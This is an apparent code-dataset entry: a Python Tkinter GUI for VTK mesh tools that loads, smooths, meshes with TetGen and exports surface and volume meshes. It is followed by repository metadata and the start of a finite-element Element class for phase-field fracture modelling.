text='More Info', command=self.moreInfo, anchor="w") button.pack(side=RIGHT, padx=0) self.balloon.bind(button, "print more info concerning the VTK object") def createModifyFrame(self): group = Pmw.Group(self, tag_text='Modify/Filters') group.pack(fill=X, expand=NO, pady=5) modFrame = group.interior() modFrame.columnconfigure(1, weight=1) nrow = 0 button = Button(modFrame, text='Extract largest', command=self.modExtractLargest, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind( button, "apply a vtkPolyDataConnectivityFilter (extract largest region)") nrow = nrow+1 button = Button(modFrame, text='Clean Nodes', command=self.modMergeNodes, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind( button, "Find duplicate nodes and merge them using vtkCleanpolyData") frame = Frame(modFrame) frame.grid(row=nrow, column=1, sticky=W+E) label = Label(frame, text="tol") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "tolerance") self.mergeTol = DoubleVar() self.mergeTol.set(0.0001) Entry(frame, textvariable=self.mergeTol, width=5).pack(side=LEFT, padx=2) nrow = nrow+1 button = Button(modFrame, text='Smooth', command=self.modSmooth, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind( button, "Smooth the polydata using vtkSmoothPolyDataFilter") frame = Frame(modFrame) frame.grid(row=nrow, column=1, sticky=W+E) label = Label(frame, text="relax") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "relaxation factor") self.smRelax = DoubleVar() self.smRelax.set(0.1) Entry(frame, textvariable=self.smRelax, width=5).pack(side=LEFT, padx=2) nrow = nrow+1 button = Button(modFrame, text='Extract Closed Polys', command=self.modExtractClosedPolys, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "Extract all closed polys") nrow = nrow+1 button = Button(modFrame, text='TetGen From File', command=self.execTetGenFromFile, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind( button, "run TetGen (resulting mesh using Geniso generated .poly file on the \"Ugrid\" tab)") frame = Frame(modFrame) frame.grid(row=nrow, column=1, sticky=W+E) label = Label(frame, text="q") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "quality used by TetGen (e.g. 2.0)") self.tetgenq = DoubleVar() self.tetgenq.set(2.0) Entry(frame, textvariable=self.tetgenq, width=8).pack(side=LEFT, padx=2) label = Label(frame, text="V") label.pack(side=LEFT, padx=2) self.balloon.bind( label, "Suppresses the creation of Steiner points on the exterior boundary") self.tetgenV = BooleanVar() self.tetgenV.set(1) Entry(frame, textvariable=self.tetgenV, width=8).pack(side=LEFT, padx=2) nrow = nrow+1 button = Button(modFrame, text='TetGen', command=self.execTetGen, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind( button, "run TetGen (resulting mesh on the \"Ugrid\" tab)") frame = Frame(modFrame) frame.grid(row=nrow, column=1, sticky=W+E) label = Label(frame, text="q") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "quality used by TetGen (e.g. 2.0)") self.tetgenq = DoubleVar() self.tetgenq.set(2.0) Entry(frame, textvariable=self.tetgenq, width=8).pack(side=LEFT, padx=2) label = Label(frame, text="a") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "maximum cell volume used by TetGen") self.tetgena = DoubleVar() self.tetgena.set(500) Entry(frame, textvariable=self.tetgena, width=8).pack(side=LEFT, padx=2) label = Label(frame, text="V") label.pack(side=LEFT, padx=2) self.balloon.bind( label, "Suppresses the creation of Steiner points on the exterior boundary") self.tetgenV = BooleanVar() self.tetgenV.set(1) Entry(frame, textvariable=self.tetgenV, width=8).pack(side=LEFT, padx=2) # nrow=nrow+1 # frame = Frame(modFrame); frame.grid(row=nrow, column=1, sticky = W+E) # label = Label(frame, text="exec"); label.pack(side=LEFT, padx=2) # self.balloon.bind(label, "TetGen executable") # self.tetgen = StringVar(); self.tetgen.set('E:/dev/tetgen1.4.1/tetgen.exe') # self.tetgenField = Pmw.ScrolledField(frame, entry_width = 30, entry_relief='groove', # text = self.tetgen.get()) # self.tetgenField.pack(side=LEFT, fill=X, expand=YES, padx=2) # button = Button(frame, text="...", command=self.findTetGen); button.pack(side=LEFT, padx=2) # self.balloon.bind(button, "search for TetGen exec...") def createImportFrame(self): group = Pmw.Group(self, tag_text='Import') group.pack(fill=X, expand=NO, pady=5) impFrame = group.interior() button = Button(impFrame, text='Load VTK Polydata', command=self.loadVtkPolydata, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( button, "load a .vtk polydata using vtkPolyDataReader") button = Button(impFrame, text='Load XML Polydata', command=self.loadXmlPolydata, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( button, "load a .vtp polydata using vtkXMLPolyDataReader") button = Button(impFrame, text='Load STL file', command=self.loadStl, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind(button, "load a .stl file using vtkSTLReader") def createExportFrame(self): group = Pmw.Group(self, tag_text='Export') group.pack(fill=X, expand=NO, pady=5) expFrame = group.interior() frame = Frame(expFrame) frame.pack(side=TOP, fill=X) button = Button(frame, text='Save VTK Polydata', command=self.saveVtkPolydata, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( button, "save a .vtk polydata using vtkPolyDataWriter") button = Button(frame, text='Save XML Polydata', command=self.saveXmlPolydata, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( button, "save a .vtk polydata using vtkXMLPolyDataWriter") button = Button(frame, text='Export to Gmsh', command=self.exportToGmsh, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind(button, "save a .geo file for Gmsh") button = Button(frame, text='Export to Tetgen', command=self.exportToTetgen, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind(button, "save a .poly file for TetGen") frame = Frame(expFrame) frame.pack(side=TOP, fill=X) label = Label(frame, text="type") label.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( label, "type of the data to be written in VTK file formats") self.asciiorbin = StringVar() but1 = Radiobutton(frame, text='ascii', variable=self.asciiorbin, value='ascii') but1.pack(side=LEFT) but2 = Radiobutton(frame, text='binary', variable=self.asciiorbin, value='binary') but2.pack(side=LEFT) but2.select() def createViewFrame(self): group = Pmw.Group(self, tag_text='Views') group.pack(fill=X, expand=NO, pady=5) viewFrame = group.interior() viewFrame.columnconfigure(7, weight=1) nrow = 0 button = Button(viewFrame, text='3D View', command=self.viewPolydata, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "Simple 3D view of the polydata in memory") frame = Frame(viewFrame) frame.grid(row=nrow, column=1, padx=5, pady=2, sticky=W+E) Label(frame, text="simple 3D view").pack(side=LEFT, padx=5, pady=2) self.withEdges = IntVar() but1 = Checkbutton(frame, text='edges on', variable=self.withEdges) but1.pack(side=LEFT) self.withScalars = IntVar() but2 = Checkbutton( frame, text='scalars', variable=self.withScalars, command=self.disableColorMap) but2.pack(side=LEFT) self.colorMap = StringVar() self.but3 = Checkbutton(frame, text='GrayScale scalars', variable=self.colorMap, onvalue='GrayScale', offvalue='colors', state=DISABLED) self.but3.pack(side=LEFT) if not createExe: nrow = nrow+1 button = Button(viewFrame, text='MeshViewer', command=self.viewPolydataInGui, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "View with the MeshViewer") frame = Frame(viewFrame) frame.grid(row=nrow, column=1, padx=5, pady=2, sticky=W+E) Label(frame, text="View with the MeshViewer").pack( side=LEFT, padx=5, pady=2) def disableColorMap(self): self.but3.configure(state='normal') def createWidgets(self): self.createDataFrame() self.createModifyFrame() self.createImportFrame() self.createExportFrame() self.createViewFrame() Frame(self).pack(fill=BOTH, expand=TRUE) # espace vide def saveConfig(self, var, file): #file.write('self.%s.tetgen.set("%s")\n' % (var,self.tetgen.get())) file.write('self.%s.mergeTol.set(%g)\n' % (var, self.mergeTol.get())) file.write('self.%s.smRelax.set(%g)\n' % (var, self.smRelax.get())) file.write('self.%s.tetgena.set(%g)\n' % (var, self.tetgena.get())) file.write('self.%s.tetgenq.set(%g)\n' % (var, self.tetgenq.get())) file.write('self.%s.asciiorbin.set("%s")\n' % (var, self.asciiorbin.get())) def loadConfig(self): # synchro uniqt pass #self.tetgenField.configure(text = self.tetgen.get()) def loadVtkPolydata(self): fname = tkinter.filedialog.Open(filetypes=[('VTK file', '*.vtk'), ('All Files', '*.*')], initialdir=self.lastloaddir).show() if fname: self.lastloaddir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) self.polydata = generalTools.loadPolyData(fname) self.setParamFromPolydata() self.status.set("Polydata loaded (VTK).") else: self.status.set("Load canceled.") def loadStl(self): fname = tkinter.filedialog.Open(filetypes=[('STL file', '*.stl'), ('All Files', '*.*')], initialdir=self.lastloaddir).show() if fname: self.lastloaddir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) self.polydata = generalTools.loadStl(fname) self.setParamFromPolydata() self.status.set("Polydata loaded (STL).") else: self.status.set("Load canceled.") def saveVtkPolydata(self): if self.polydata: fname = tkinter.filedialog.SaveAs(filetypes=[('VTK file', '*.vtk')], initialdir=self.lastsavedir).show() if fname: self.lastsavedir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) generalTools.savePolyData(fname, self.polydata) self.status.set("Polydata saved as %s." % fname) else: self.status.set("Save canceled.") else: self.warningNoPolydata() self.status.set("Save canceled.") def loadXmlPolydata(self): fname = tkinter.filedialog.Open(filetypes=[('XML file', '*.vtp'), ('All Files', '*.*')], initialdir=self.lastloaddir).show() if fname: self.lastloaddir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) self.polydata = generalTools.loadPolyDataXML(fname) self.setParamFromPolydata() self.status.set("Polydata loaded (XML).") else: self.status.set("Load canceled.") def saveXmlPolydata(self): if self.polydata: fname = tkinter.filedialog.SaveAs(filetypes=[('XML file', '*.vtp')], initialdir=self.lastsavedir).show() if fname: self.lastsavedir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) generalTools.savePolyDataXML( fname, self.polydata, self.asciiorbin.get()) self.status.set("Polydata saved as %s." % fname) else: self.status.set("Save canceled.") else: self.warningPolydata() self.status.set("Save canceled.") def exportToGmsh(self): if self.polydata: fname = tkinter.filedialog.SaveAs(filetypes=[('Gmsh input file', '*.geo')], initialdir=self.lastsavedir).show() if fname: self.lastsavedir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) generalTools.vtk2gmsh(self.polydata, fname) self.status.set("Polydata saved as %s." % fname) else: self.status.set("Save canceled.") else: self.warningPolydata() self.status.set("Save canceled.") def exportToTetgen(self): if self.polydata: fname = tkinter.filedialog.SaveAs(filetypes=[('Tetgen input file', '*.poly')], initialdir=self.lastsavedir).show() if fname: self.lastsavedir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) generalTools.vtk2tetgen(self.polydata, fname) self.status.set("Polydata saved as %s." % fname) else: self.status.set("Save canceled.") else: self.warningPolydata() self.status.set("Save canceled.") def setParamFromPolydata(self): if self.polydata: self.nbpts.set(self.polydata.GetNumberOfPoints()) self.nbcells.set(self.polydata.GetNumberOfCells()) def viewPolydata(self): if self.polydata: if self.withScalars.get() and not ( self.polydata.GetPointData().GetScalars() or self.polydata.GetCellData().GetScalars() ): self.warningNoScalarField() self.status.set("View canceled.") else: global root self.vtkwin = Toplevel(root) self.vtkwin.title('3D Viewer') win = VtkWindow3DPoly(self.vtkwin) win.view(self.polydata, scalarsOn=self.withScalars.get( ), edgesOn=self.withEdges.get(), colorMap=self.colorMap.get()) self.status.set("Viewing 3D.") else: self.warningNoPolydata() self.status.set("View canceled.") def viewPolydataInGui(self): if self.polydata: import renderingToolsQt renderingToolsQt.displayPoly(self.polydata) self.status.set("Viewing 3D.") else: self.warningNoPolydata() self.status.set("View canceled.") def warningNoPolydata(self): tkinter.messagebox.Message(icon='warning', type='ok', message='No polydata in memory!', title='Warning').show() def warningNoScalarField(self): tkinter.messagebox.Message(icon='warning', type='ok', message='No scalar field in polydata!', title='Warning').show() def setPolydata(self, poly): if poly: self.polydata = poly self.setParamFromPolydata() def moreInfo(self): if self.polydata: win = Toplevel(root) win.title("Polydata info") msgFrame = Pmw.ScrolledText(win, vscrollmode='dynamic', hscrollmode='dynamic', text_width=40, text_height=20, text_wrap='none') msgFrame.insert('end', str(self.polydata)) msgFrame.pack(fill=BOTH, expand=YES) win.transient(root) else: self.warningNoPolydata() def modExtractLargest(self): if not self.polydata: self.warningNoPolydata() self.status.set("Filter canceled.") else: self.polydata = meshingTools.extractLargestPoly(self.polydata) self.status.set("Extract Largest Region filter applied.") self.setParamFromPolydata() def modMergeNodes(self): if not self.polydata: self.warningNoPolydata() self.status.set("Filter canceled.") else: self.polydata = meshingTools.mergeDuplicateNodes( self.polydata, self.mergeTol.get()) self.status.set("Merge Nodes filter applied.") self.setParamFromPolydata() def modSmooth(self): if not self.polydata: self.warningNoPolydata() self.status.set("Filter canceled.") else: self.polydata = meshingTools.smoothPolyData( self.polydata, self.smRelax.get()) self.status.set("Smooth polydata filter applied.") self.setParamFromPolydata() def modExtractClosedPolys(self): if not self.polydata: self.warningNoPolydata() self.status.set("Filter canceled.") else: polys = meshingTools.extractClosedSurfacesFromPoly(self.polydata) import renderingToolsQt renderingToolsQt.displayVectorOfPolys(polys) self.status.set("extractClosedSurfacesFromPoly filter applied.") # def findTetGen(self): # fname = tkFileDialog.Open(filetypes=[('TetGen Executable','*.exe')]).show() # if fname: # self.tetgen.set(fname) # self.status.set("TetGen set to %s." % fname) # self.tetgenField.configure(text = self.tetgen.get()) # else: # self.status.set("Canceled.") def execTetGen(self): if not self.polydata: self.warningNoPolydata() self.status.set("Exec TetGen cancelled.") else: ugrid = meshingTools.callTetgen( self.polydata, self.tetgenq.get(), self.tetgena.get(), self.tetgenV.get(), 0) self.mainW.setUgrid(ugrid) def execTetGenFromFile(self): fname = tkinter.filedialog.Open(filetypes=[('Tetgen file', '*.poly'), ('All Files', '*.*')], initialdir=self.lastloaddir).show() if fname: ugrid = meshingTools.callTetgenMultipleRegionsFromFile( os.path.splitext(fname)[0], self.tetgenq.get(), self.tetgenV.get()) self.mainW.setUgrid(ugrid) self.status.set("Ugrid created.") else: self.status.set("Exec TetGen cancelled.") # ---------------------------------------------------------------------- class UgridFrame(Frame): def __init__(self, master, status): Frame.__init__(self, master) self.status = status self.balloon = Pmw.Balloon(master) # aide "ballon" self.ugrid = None # polydata self.vtkwin = None # fenetre VTK self.lastloaddir = '.' self.lastsavedir = '.' self.createWidgets() # self.loadConfig() def createDataFrame(self): frame1 = Frame(self, bd=1, relief=GROOVE) frame1.pack(fill=X, expand=NO) Label(frame1, text="Volume mesh", bg='gray', fg='black').pack( expand=YES, fill=X, padx=2, pady=2) frame2 = Frame(frame1) frame2.pack(fill=X, expand=NO) # la colonne 2 (vide) va pouvoir s'agrandir frame2.columnconfigure(2, weight=1) nrow = 0 # first line label = Label(frame2, text="filename") label.grid(row=nrow, column=0, padx=5, pady=2, sticky=W) self.balloon.bind(label, "filename of the ugrid") self.filename = StringVar() self.filename.set('') self.fnameField = Pmw.ScrolledField(frame2, entry_width=30, entry_relief=GROOVE, text=self.filename.get()) self.fnameField.grid(row=nrow, column=1, padx=5, pady=2, columnspan=2, sticky=NSEW) nrow = nrow+1 Label(frame2, text="size").grid( row=nrow, column=0, padx=5, pady=2, sticky=W) frame = Frame(frame2) frame.grid(row=nrow, column=1, padx=5, pady=2, sticky=W) self.nbpts = IntVar() self.nbpts.set(0) Label(frame, textvariable=self.nbpts).pack(side=LEFT) Label(frame, text="points and").pack(side=LEFT) self.nbcells = IntVar() self.nbcells.set(0) Label(frame, textvariable=self.nbcells).pack(side=LEFT) Label(frame, text="cells.").pack(side=LEFT) button = Button(frame, text='More Info', command=self.moreInfo, anchor="w") button.pack(side=RIGHT, padx=0) self.balloon.bind(button, "print more info concerning the VTK object") def createImportFrame(self): group = Pmw.Group(self, tag_text='Import') group.pack(fill=X, expand=NO, pady=5) impFrame = group.interior() button = Button(impFrame, text='Load VTK Ugrid', command=self.loadVtkUgrid, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( button, "load a .vtk ugrid using vtkUnstructuredGridReader") button = Button(impFrame, text='Load XML Ugrid', command=self.loadXmlUgrid, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( button, "load a .vtu ugrid using vtkXMLUnstructuredGridReader") def createExportFrame(self): group = Pmw.Group(self, tag_text='Export') group.pack(fill=X, expand=NO, pady=5) expFrame = group.interior() frame = Frame(expFrame) frame.pack(side=TOP, fill=X) button = Button(frame, text='Save VTK Ugrid', command=self.saveVtkUgrid, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( button, "save a .vtk ugrid using vtkUnstructuredGridWriter") button = Button(frame, text='Save XML Ugrid', command=self.saveXmlUgrid, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( button, "save a .vtu ugrid using vtkXMLUnstructuredGridWriter") if not createExe: button = Button(frame, text='Export to Metafor', command=self.exportToMetafor, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind(button, "save a .py file for Metafor") frame = Frame(expFrame) frame.pack(side=TOP, fill=X) label = Label(frame, text="type") label.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( label, "type of the data to be written in VTK file formats") self.asciiorbin = StringVar() but1 = Radiobutton(frame, text='ascii', variable=self.asciiorbin, value='ascii') but1.pack(side=LEFT) but2 = Radiobutton(frame, text='binary', variable=self.asciiorbin, value='binary') but2.pack(side=LEFT) but2.select() def loadVtkUgrid(self): fname = tkinter.filedialog.Open(filetypes=[('VTK file', '*.vtk'), ('All Files', '*.*')], initialdir=self.lastloaddir).show() if fname: self.lastloaddir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) self.ugrid = generalTools.loadUgrid(fname) self.setParamFromUgrid() self.status.set("Ugrid loaded (VTK).") else: self.status.set("Load canceled.") def saveVtkUgrid(self): if self.ugrid: fname = tkinter.filedialog.SaveAs(filetypes=[('VTK file', '*.vtk')], initialdir=self.lastsavedir).show() if fname: self.lastsavedir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) generalTools.saveUgrid(fname, self.ugrid) self.status.set("Ugrid saved as %s." % fname) else: self.status.set("Save canceled.") else: self.warningNoUgrid() self.status.set("Save canceled.") def loadXmlUgrid(self): fname = tkinter.filedialog.Open(filetypes=[('XML file', '*.vtu'), ('All Files', '*.*')], initialdir=self.lastloaddir).show() if fname: self.lastloaddir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) self.ugrid = generalTools.loadUgridXML(fname) self.setParamFromUgrid() self.status.set("Ugrid loaded (XML).") else: self.status.set("Load canceled.") def saveXmlUgrid(self): if self.ugrid: fname = tkinter.filedialog.SaveAs(filetypes=[('XML file', '*.vtu')], initialdir=self.lastsavedir).show() if fname: self.lastsavedir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) generalTools.saveUgridXML( fname, self.ugrid, self.asciiorbin.get()) self.status.set("Ugrid saved as %s." % fname) else: self.status.set("Save canceled.") else: self.warningUgrid() self.status.set("Save canceled.") def exportToMetafor(self): pass def createViewFrame(self): group = Pmw.Group(self, tag_text='Views') group.pack(fill=X, expand=NO, pady=5) viewFrame = group.interior() viewFrame.columnconfigure(7, weight=1) nrow = 0 button = Button(viewFrame, text='3D View', command=self.viewUgrid, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "Simple 3D view of the ugrid in memory") frame = Frame(viewFrame) frame.grid(row=nrow, column=1, padx=5, pady=2, sticky=W+E) Label(frame, text="simple 3D view").pack(side=LEFT, padx=5, pady=2) self.withEdges = IntVar() but1 = Checkbutton(frame, text='edges on', variable=self.withEdges) but1.pack(side=LEFT) self.withScalars = IntVar() but2 = Checkbutton( frame, text='scalars', variable=self.withScalars, command=self.disableColorMap) but2.pack(side=LEFT) self.colorMap = StringVar() self.but3 = Checkbutton(frame, text='GrayScale scalars', variable=self.colorMap, onvalue='GrayScale', offvalue='colors', state=DISABLED) self.but3.pack(side=LEFT) nrow += 1 button = Button(viewFrame, text='3D Cut', command=self.viewClippedUgrid, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind( button, "Cut and view 3D view of the ugrid in memory") frame = Frame(viewFrame) frame.grid(row=nrow, column=1, padx=5, pady=2, sticky=W+E) Label(frame, text="cut 3D view").pack(side=LEFT, padx=5, pady=2) if not createExe: nrow = 1 button = Button(viewFrame, text='Tetview', command=self.tetview, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "View with Tetview") frame = Frame(viewFrame) frame.grid(row=nrow, column=1, padx=5, pady=2, sticky=W+E) Label(frame, text="view in tetview").pack( side=LEFT, padx=5, pady=2) def disableColorMap(self): self.but3.configure(state='normal') def createWidgets(self): self.createDataFrame() # self.createModifyFrame() self.createImportFrame() self.createExportFrame() self.createViewFrame() Frame(self).pack(fill=BOTH, expand=TRUE) # espace vide def setParamFromUgrid(self): if self.ugrid: self.nbpts.set(self.ugrid.GetNumberOfPoints()) self.nbcells.set(self.ugrid.GetNumberOfCells()) def viewUgrid(self): if self.ugrid: scalars = self.ugrid.GetPointData().GetScalars() if scalars == None: scalars = self.ugrid.GetCellData().GetScalars() if scalars == None: scalars = self.ugrid.GetPointData().GetArray(0) if scalars == None: scalars = self.ugrid.GetCellData().GetArray(0) if self.withScalars.get() and not (scalars): self.warningNoScalarField() self.status.set("View canceled.") else: global root self.vtkwin = Toplevel(root) self.vtkwin.title('3D Viewer') win = VtkWindow3DPoly(self.vtkwin) win.view(self.ugrid, scalarsOn=self.withScalars.get( ), edgesOn=self.withEdges.get(), colorMap=self.colorMap.get()) self.status.set("Viewing 3D.") else: self.warningNoUgrid() self.status.set("View canceled.") def tetview(self): fname = tkinter.filedialog.Open(filetypes=[('Tetgen file', '*.ele'), ('All Files', '*.*')], initialdir=self.lastloaddir).show() if fname: cmd = "tetview.exe %s" % (fname) # os.system(cmd) import subprocess subprocess.call(cmd, shell=True) self.status.set("Ugrid viewed in TetView window") else: self.status.set("View canceled.") def viewClippedUgrid(self): if self.ugrid: scalars = self.ugrid.GetPointData().GetScalars() if scalars == None: scalars = self.ugrid.GetCellData().GetScalars() if scalars == None: scalars = self.ugrid.GetPointData().GetArray(0) if scalars == None: scalars = self.ugrid.GetCellData().GetArray(0) if self.withScalars.get() and not (scalars): self.warningNoScalarField() self.status.set("View canceled.") else: global root self.vtkwin = Toplevel(root) self.vtkwin.title('3D Cut Viewer') win = VtkWindow3DPolyCut(self.vtkwin) win.viewClip(self.ugrid, scalarsOn=self.withScalars.get( ), edgesOn=self.withEdges.get(), colorMap=self.colorMap.get()) self.status.set("Viewing 3D.") else: self.warningNoUgrid() self.status.set("View canceled.") def moreInfo(self): if self.ugrid: win = Toplevel(root) win.title("Polydata info") msgFrame = Pmw.ScrolledText(win, vscrollmode='dynamic', hscrollmode='dynamic', text_width=40, text_height=20, text_wrap='none') msgFrame.insert('end', str(self.ugrid)) msgFrame.pack(fill=BOTH, expand=YES) win.transient(root) else: self.warningNoUgrid() def warningNoScalarField(self): tkinter.messagebox.Message(icon='warning', type='ok', message='No scalar field in ugrid!', title='Warning').show() def warningNoUgrid(self): tkinter.messagebox.Message(icon='warning', type='ok', message='No ugrid in memory!', title='Warning').show() def setUgrid(self, ugrid): if ugrid: self.ugrid = ugrid self.setParamFromUgrid() # ---------------------------------------------------------------------- # MAIN # ---------------------------------------------------------------------- #general_font = ('Helvetica',10,'roman') #root.option_add('*Font', general_font) if __name__ == "__main__": root = Tk() Pmw.initialise(root) root.title('vtkToolsGUI - a VTK/Tk/Python interface by ULg/MN2L') win = MainWindow(root) root.mainloop()
41.7675
159
0.573412
97,907
0.976677
0
0
0
0
0
0
17,086
0.170442
d58748147e2304d51e1ae95549251daa443eaa7d
45,013
py
Python
Element.py
darinpeetz/Phase_Field
f7169dadbe6f94ed85613da130104fc318358224
[ "MIT" ]
2
2020-05-28T22:01:49.000Z
2021-09-10T02:23:04.000Z
Element.py
darinpeetz/Phase_Field
f7169dadbe6f94ed85613da130104fc318358224
[ "MIT" ]
null
null
null
Element.py
darinpeetz/Phase_Field
f7169dadbe6f94ed85613da130104fc318358224
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Sun Jun 17 14:03:42 2018 @author: Darin """ import numpy as np from matplotlib.patches import Polygon class Element: """ Functions avaiable in this class -------------------------------- __init__ : constructor _Get_GP : Gets the Gauss points _Construct_Shape : Constructs shape functions and derivatives in mapped coordinates _Shape_Func : Gets shape function and derivatives in parent coordiates _Assemble_B : Assembles field-to-gradient matrices _EigenStressStrain : Calculates principle stresses and strains _EigStrain : Eigenvalue solver for 2D strain matrix _DiffEig : Calculates derivative of eigenvalues wrt to the matrix _Constitutive : Provides constitutive relation for stress, stiffness, and energy _Calc_Energy : Calculates strain energies Get_Energy : Returns strain energies Local_Assembly : Assembles local stiffness matrix and rhs vector Update_Energy : Updates maximum energy values Objects stored in this class ---------------------------- nodes : array_like Node numbers attached to this element eltype : string Element type ('L2', 'Q4', 'B8', or 'T3') dim : integer Dimensions of the element (1, 2, or 3) order : integer Integration order for element weights : 1D array Weights associated with each Gauss point Hist : 1D array Maximum strain energy at each gauss point Gc : scalar Griffith's fractur energy lc : scalar Critical length factor E : scalar Young's Modulus nu : scalar Poisson's ratio lam, mu : scalars Lame paramters lambda and mu. Only used if E,nu = None k : scalar Minimum stiffness of element aniso : bool Flag for using anisotropic damage (True) or uniform damage (False) N : array_like Shape function values at the Gauss points J : array_like Determinants of the Jacobian matrix at the Gauss points B_u : array_like Matrices to convert displacements to strain at Gauss points B_phi : array_like Matrices to convert damage to gradient of damage at Gauss points """ def __init__(self, eltype, nodes, coords, order=None, Gc=500, lc=1, E=1000, nu=0.3, lam=None, mu=None, k=1e-10, aniso=True): """Constructor for element class Parameters ---------- eltype : string Element type ('L2', 'Q4', 'B8', or 'T3') nodes : array_like Node numbers attached to this element coords : array_like Coordinates of nodes attached to this element order : integer, optional Integration order for element, defaults to minimum for full accuracy in an undeformed element Gc : scalar, optional Griffith's fractur energy lc : scalar, optional Critical length factor E : scalar, optional Young's Modulus nu : scalar, optional Poisson's ratio lam, mu : scalars, optional Lame paramters lambda and mu. Only used if E,nu = None k : scalar, optional Minimum stiffness of element aniso : bool, optional Flag for using anisotropic damage (True) or uniform damage (False) Adds to class object -------------------- nodes : array_like Node numbers attached to this element eltype : string Element type ('L2', 'Q4', 'B8', or 'T3') dim : integer Dimensions of the element (1, 2, or 3) order : integer Integration order for element Gc : scalar Griffith's fractur energy lc : scalar Critical length factor E : scalar Young's Modulus nu : scalar Poisson's ratio lam, mu : scalars Lame paramters lambda and mu. Only used if E,nu = None k : scalar Minimum stiffness of element aniso : bool Flag for using anisotropic damage (True) or uniform damage (False) """ if eltype not in ['L2', 'Q4', 'B8', 'T3']: raise TypeError("Unknown element type (%s) specified"%eltype) self.nodes = nodes self.eltype = eltype self.dim = coords.shape[1] self.dof = np.array([d+nodes*(self.dim+1) for d in range(self.dim+1)]).T.reshape(-1) self.udof = np.arange(self.dof.size) self.phidof = self.udof[self.dim::self.dim+1] self.udof = np.delete(self.udof,self.phidof) if order is None: if eltype == 'L2' or eltype == 'T3': self.order = 1 elif eltype == 'Q4': self.order = 2 elif eltype == 'B8': self.order = 3 else: self.order = order self.Set_Properties(Gc, lc, E, nu, lam, mu, k, aniso) self._Construct_Shape(coords) self.patch = Polygon(coords, True) def Set_Properties(self, Gc=500, lc=1, E=1000, nu=0.3, lam=None, mu=None, k=1e-10, aniso=True): """Overrides initial settings for material parameters Parameters ---------- Gc : scalar, optional Griffith's fractur energy lc : scalar, optional Critical length factor E : scalar, optional Young's Modulus nu : scalar, optional Poisson's ratio lam, mu : scalars, optional Lame paramters lambda and mu. Only used if E,nu = None k : scalar, optional Minimum stiffness of element """ self.Gc = Gc self.lc = lc self.k = k self.aniso = aniso if E is None or nu is None: if lam is None or mu is None: raise ValueError("Must specify either E and nu or lam and mu") else: self.E = mu*(3*lam+2*mu)/(lam+mu) self.nu = lam/(2*(lam+mu)) self.lam = lam self.mu = mu else: self.E = E self.nu = nu self.lam = E*nu/((1+nu)*(1-2*nu)) self.mu = E/(2*(1+nu)) def _Get_GP(self): """Assumes L2, Q4, or B8 elements or 2D Tri elements Parameters ---------- None Returns ------- GP : 2D array Quadrature points Adds to class object -------------------- weights : 1D array weights associated with each Gauss point """ if self.eltype == 'T3': if self.dim != 2: raise ValueError('Can only use line, quad, box, or tri elements') # Tri elements if self.order == 1: GP = np.array([[1./3, 1./3]]) self.weights = np.array([1./2]) elif self.order == 2: GP = np.array([[1./6, 1./6], [2./3, 1./6], [1./6, 2./3]]) self.weights = np.array([1./6, 1./6, 1./6]) elif self.order == 3: GP = np.array([[1./3, 1./3], [1./5, 1./5], [1./5, 3./5], [3./5, 1./5]]) self.weights = np.array([-27., 25., 25., 25.])/96 else: # 